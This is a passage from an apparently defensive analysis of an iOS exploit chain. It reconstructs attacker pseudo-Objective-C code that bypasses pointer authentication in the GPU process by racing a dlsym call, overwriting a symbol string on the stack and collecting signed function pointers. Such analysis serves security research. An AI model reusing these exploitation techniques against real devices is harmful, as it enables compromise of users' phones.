<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This yields arithmetic statements which look like this:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_dlsym_lock_ptrinvocation setArgument:[set_msb(add(v_OOO_dyld_dyld, @0xa0)) longLongValue] atIndex:[@0x2 longLongValue] ];</span></p><h3 class="YrefKOOkxY-c6" id="h.wqnkqawy6n5v"><span class="YrefKOOkxY-c10">but...why?</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">After all that we're left with around 1000 lines of sort-of readable pseudo-objective-C. There are a number of further tricks they use to implement things like arbitrary read and write which I manually replaced with simple assignment statements.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The attackers are already in a very strong position at this point; they can evaluate arbitrary </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s, with the security bits disabled such that they can still allocate and interact with arbitrary classes. But in this case the attackers are determined to be able to call arbitrary functions, without being restricted to just Objective-C selector invocations.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The major barrier to doing this easily is PAC (pointer authentication.) The B-family PAC keys used for backwards-edge protection (e.g. return addresses on the stack) were always per-process but the A-family keys (used for forward-edge protection for things like function pointers) used to be shared across all userspace processes, meaning userspace tasks could forge signed forward-edge PAC'ed pointers which would be valid in other tasks.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">With some low-level changes to the virtual memory code it's now possible for tasks to use private, isolated A-family keys as well, which means that the WebContent process can't necessarily forge forward-edge keys for other tasks (like the GPU Process.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Most previous userspace PAC defeats were finding a way where a forged forward-edge function pointer could be used across a privilege boundary - and when forward-edge keys were shared there were a great number of such primitives. Kernel PAC defeats tended to be slightly more involved, often targeting race-conditions to create signing oracles or similar primitives. We'll see that the attackers took inspiration from those kernel-PAC defeats here...</span></p><h3 class="YrefKOOkxY-c6" id="h.4hmu95xgbl8o"><span class="YrefKOOkxY-c10">Invoking Invocations with IMPs</span></h3>
<p class="YrefKOOkxY-c2"><span>An </span><span class="YrefKOOkxY-c1 YrefKOOkxY-c3"><a class="YrefKOOkxY-c121" href="https://developer.apple.com/documentation/foundation/nsinvocation">NSInvocation</a></span><span>, as the name suggests, wraps up an Objective-C method call such that it can be called at a later point. Although conceptually in Objective-C you don't "call methods" but instead "pass messages to objects" in reality of course you do end up eventually at a branch instruction to the native code which implements the selector for the target object. It's also possible to cache the address of this native code as an </span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> object (it's really just a function pointer.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>As outlined in the </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://codecolor.ist/2021/01/16/see-no-eval-runtime-code-execution-objc/">see-no-eval NSExpression blogpost</a></span><span> </span><span class="YrefKOOkxY-c3">NSInvocation</span><span>s can be used to get instruction pointer control from </span><span class="YrefKOOkxY-c3">NSExpression</span><span>s - with the caveat that you must provide a signed </span><span class="YrefKOOkxY-c3">PC</span><span> value. The first method they call using this primitive is the implementation of </span><span class="YrefKOOkxY-c3">[CFPrefsSource lock]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">; void __cdecl -[CFPrefsSource lock](CFPrefsSource *self, SEL)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADD X0, X0, #0x34</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">B _os_unfair_lock_loc</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They get a signed (with </span><span class="YrefKOOkxY-c3">PACIZA</span><span>) </span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> for this function by calling</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id os_unfair_lock_0x34_IMP = [[CFPrefsSource alloc] methodForSelector: sel(lock)]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>To call that function they use two nested </span><span class="YrefKOOkxY-c3">NSInvocation</span><span class="YrefKOOkxY-c5">s:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id invocationInner = [templateInvocation copy];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationInner setTarget:(dlsym_lock_ptr - 0x34)]</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationInner setSelector: [@0x43434343 longLongValue]]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id invocationOuter = [templateInvocation copy];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationOuter setSelector: sel(invokeUsingIMP)];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[invocationOuter setArgument: os_unfair_lock_loc_IMP</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> atIndex: @2];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They then call </span><span class="YrefKOOkxY-c3">invoke</span><span> on the outer invocation, which invokes the inner invocation via </span><span class="YrefKOOkxY-c3">invokeUsingIMP:</span><span> which allows the </span><span class="YrefKOOkxY-c3">[CFPrefsSource lock]</span><span> function implementation to be called on something which most certainly isn't a </span><span class="YrefKOOkxY-c3">CFPrefsSource</span><span> object (as the </span><span class="YrefKOOkxY-c3">invokeWithIMP</span><span> bypasses the regular Objective-C selector-to-</span><span class="YrefKOOkxY-c3">IMP</span><span class="YrefKOOkxY-c5"> lookup process.)</span></p><h3 class="YrefKOOkxY-c6" id="h.xc1ebqee3vzb"><span class="YrefKOOkxY-c10">Lock what?</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">But what is that lock, and why are they locking it? That lock is used here inside dlsym:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dlsym() assumes symbolName passed in is same as in C source code</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dyld assumes all symbol names have an underscore prefix</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">BLOCK_ACCCESSIBLE_ARRAY(char, underscoredName, strlen(symbolName) + 2);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">underscoredName[0] = '_';</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">strcpy(&underscoredName[1], symbolName);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__block Diagnostics diag;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">__block Loader::ResolvedSymbol result;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">if ( handle == RTLD_DEFAULT ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // magic "search all in load order" handle</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> __block bool found = false;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> </span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">withLoadersReadLock</span><span class="YrefKOOkxY-c0">(^{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> for ( const dyld4::Loader* image : loaded ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !image->hiddenFromFlat() && image->hasExportedSymbol(diag, *this, underscoredName, Loader::shallow, &result) ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> found = true;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> break;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> });</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">withLoadersReadLock</span><span class="YrefKOOkxY-c5"> first takes the global lock which the invocation locked before evaluating the block which resolves the symbol:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">this->libSystemHelpers->os_unfair_recursive_lock_lock_with_options(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &(_locks.loadersLock),</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> OS_UNFAIR_LOCK_NONE);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">work();</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">this->libSystemHelpers->os_unfair_recursive_lock_unlock(</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &_locks.loadersLock);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>So by taking this lock the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> has ensured that any calls to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> in the GPU process will block waiting for this lock.</span></p><h3 class="YrefKOOkxY-c6" id="h.rl7ifba7ukvs"><span class="YrefKOOkxY-c10">Threading the needle</span></h3>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Next they use the same double-invocation trick to make the following Objective-C call:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[NSThread detachNewThreadWithBlock:aBlock]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>passing as the </span><span class="YrefKOOkxY-c3">block</span><span> argument a pointer to a </span><span class="YrefKOOkxY-c3">block</span><span> inside the </span><span class="YrefKOOkxY-c3">CoreGraphics</span><span class="YrefKOOkxY-c5"> library with the following body:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void *__CGImageCreateWithPNGDataProvider_block_invoke_2()</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> void *sym;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( CGLibraryLoadImageIODYLD_once != -1 ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> dispatch_once(&CGLibraryLoadImageIODYLD_once,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> &__block_literal_global_5_15015);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !CGLibraryLoadImageIODYLD_handle ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // fail</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sym = dlsym(CGLibraryLoadImageIODYLD_handle,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "CGImageSourceGetType");</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( !sym ) {</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> // fail</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImageCreateWithPNGDataProvider = sym;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return sym;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Prior to starting the thread calling that block they also perform two arbitrary writes to set:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGLibraryLoadImageIODYLD_once = -1</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">and </span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CGLibraryLoadImageIODYLD.handle = RTLD_DEFAULT</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">This means that the thread running that block will reach the call to:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">dlsym(CGLibraryLoadImageIODYLD_handle,</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> "CGImageSourceGetType");</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>then block inside the implementation of </span><span class="YrefKOOkxY-c3">dlsym</span><span> waiting to take a lock held by the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">.</span></p><h3 class="YrefKOOkxY-c6" id="h.6rve9i1lygg"><span class="YrefKOOkxY-c10">Sleep and repeat</span></h3>
<p class="YrefKOOkxY-c2"><span>They call </span><span class="YrefKOOkxY-c3">[NSThread sleepForTimeInterval]</span><span> to sleep on the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> thread to ensure that the victim </span><span class="YrefKOOkxY-c3">dlsym</span><span> thread has started, then read the value of </span><span class="YrefKOOkxY-c3">libpthread::___pthread_head</span><span>, the start of a linked-list of </span><span class="YrefKOOkxY-c3">pthread</span><span class="YrefKOOkxY-c5">s representing all the running threads (the address of which was linked and rebased by the JS.)</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They then use an unrolled loop of 100 </span><span class="YrefKOOkxY-c3">NSTernaryExpressions</span><span> to walk that linked list looking for the last entry (which has a null </span><span class="YrefKOOkxY-c3">pthread.next</span><span class="YrefKOOkxY-c5"> field) which is the most recently-started thread.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>They use a hardcoded offset into the </span><span class="YrefKOOkxY-c3">pthread</span><span> struct to find the thread's stack and create an </span><span class="YrefKOOkxY-c3">NSData</span><span> object wrapping the first page of the </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> thread's stack:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">id v_stackData = [NSData dataWithBytesNoCopy:[set_msb(v_stackEnd) longLongValue] length:[@0x4000 longLongValue] freeWhenDone:[@0x0 longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>Recall this code we saw earlier in the </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> snippet:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dlsym() assumes symbolName passed in is same as in C source code</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// dyld assumes all symbol names have an underscore prefix</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">BLOCK_ACCCESSIBLE_ARRAY(char, underscoredName, strlen(symbolName) + 2);</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">underscoredName[0] = '_';</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">strcpy(&underscoredName[1], symbolName);</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">BLOCK_ACCESSIBLE_ARRAY</span><span> is really creating an </span><span class="YrefKOOkxY-c3">alloca</span><span>-style local stack buffer in order to prepend an underscore to the symbol name, which explains why the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> code does this next:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_stackData rangeOfData:@"b'_CGImageSourceGetType'" options:[@0x0 longLongValue] range:[@0x0 longLongValue] [@0x4000 longLongValue] ]</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>This returns an </span><span class="YrefKOOkxY-c3">NSRange</span><span> object defining where the string "</span><span class="YrefKOOkxY-c3">_CGImageSourceGetType</span><span>" appears in that page of the stack. "</span><span class="YrefKOOkxY-c3">CGImageSourceGetType</span><span>" (without the underscore) is the hardcoded (and constant, in read-only memory) string which the block passes to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> then calculates the absolute address of that string on the thread stack and uses </span><span class="YrefKOOkxY-c3">[NSData getBytes:length:]</span><span> to write the contents of an </span><span class="YrefKOOkxY-c3">NSData</span><span> object containing the string "</span><span class="YrefKOOkxY-c3">_dlsym\0\0</span><span>" over the start of the "</span><span class="YrefKOOkxY-c3">_CGImageSourceGetType</span><span>" string on the blocked </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> thread.</span></p><h3 class="YrefKOOkxY-c6" id="h.90oby4diy988"><span class="YrefKOOkxY-c10">Unlock and go</span></h3>
<p class="YrefKOOkxY-c2"><span>Using the same tricks as before to lock the lock (but this time using the </span><span class="YrefKOOkxY-c3">IMP</span><span> of </span><span class="YrefKOOkxY-c3">[CFPrefsSource unlock]</span><span> they unlock the global lock blocking the </span><span class="YrefKOOkxY-c3">dlsym</span><span> thread. This causes the block to continue executing and </span><span class="YrefKOOkxY-c3">dlsym</span><span> to complete, now returning a </span><span class="YrefKOOkxY-c3">PACIZA</span><span>-signed function pointer to </span><span class="YrefKOOkxY-c3">dlsym</span><span> instead of </span><span class="YrefKOOkxY-c3">CGImageSourceGetType</span><span class="YrefKOOkxY-c5">.</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The block then assigns the return value of that call to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> to a global variable:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGImageCreateWithPNGDataProvider = sym;</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> calls </span><span class="YrefKOOkxY-c3">sleepForTimeInterval</span><span> again to ensure that the block has completed, then reads that global variable to get a signed function pointer to </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">!</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span>(It's worth noting that it used to be the case, as documented by Samuel Groß in his </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html">iMessage remote exploit writeup</a></span><span>, that there were Objective-C methods such as </span><span class="YrefKOOkxY-c3">[CNFileServices dlsym:]</span><span> which would directly give you the ability to call </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> and get PACIZA-signed function pointers.)</span></p><h3 class="YrefKOOkxY-c6" id="h.1mnio7khahq"><span class="YrefKOOkxY-c10">Do look up</span></h3>
<p class="YrefKOOkxY-c2"><span>Armed with a signed </span><span class="YrefKOOkxY-c3">dlsym</span><span> pointer they use the nested invocation trick to call </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5"> 22 times to get 22 more signed function pointers, assigning them to numbered variables:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">#define f_def(v_index, sym) \\</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_symInvocation = [v_templateInvocation copy];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation setTarget:[@0xfffffffffffffffe longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation setSelector:[@"sym" UTF8String] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym#InvocationIMP = [v_templateInvocation copy];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setSelector:[v_invokeUsingIMP:_NSFunctionExpression longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_writeInvocationName setSelector:[v_dlsymPtr longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_writeInvocationName getArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermidiateAddress bytes] ]) longLongValue] atIndex:[@0x1 longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setArgument:[set_msb([NSNumber numberWithUnsignedLongLong:[v_intermidiateAddress bytes] ]) longLongValue] atIndex:[@0x2 longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP setTarget:v_symInvocation ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#InvocationIMP invoke];</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym#____converted = [NSNumber numberWithUnsignedLongLong:[@0xaaaaaaaaaaaaaaa longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> [v_#sym#Invocation getReturnValue:[set_msb(add([NSNumber numberWithUnsignedLongLong:v_#sym#____converted ], @0x10)) longLongValue] ];</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#sym# = v_#sym#____converted;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> id v_#index = v_#sym;</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(0, syscall)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(1, task_self_trap)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(2, task_get_special_port)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(3, mach_port_allocate)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(4, sleep)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(5, mach_absolute_time)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(6, mach_msg)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(7, mach_msg2_trap)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(8, mach_msg_send)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(9, mach_msg_receive)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(10, mach_make_memory_entry)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(11, mach_port_type)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(12, IOMainPort)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(13, IOServiceMatching)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(14, IOServiceGetMatchingService)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(15, IOServiceOpen)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(16, IOConnectCallMethod)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(17, open)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(18, sprintf)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(19, printf)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(20, OSSpinLockLock)</span></p>
<p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">f_def(21, objc_msgSend)</span></p><h3 class="YrefKOOkxY-c6" id="h.x6tc18tdvghf"><span class="YrefKOOkxY-c10">Another path</span></h3>
<p class="YrefKOOkxY-c2"><span>Still not satisfied with the ability to call arbitrary (exported, named) functions from </span><span class="YrefKOOkxY-c3">NSExpressions</span><span> the exploit now takes yet another turn and comes, in a certain sense, full circle by creating a </span><span class="YrefKOOkxY-c3">JSContext</span><span> object to evaluate javascript code embedded in a string inside the </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">:</span></p>
<p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p>
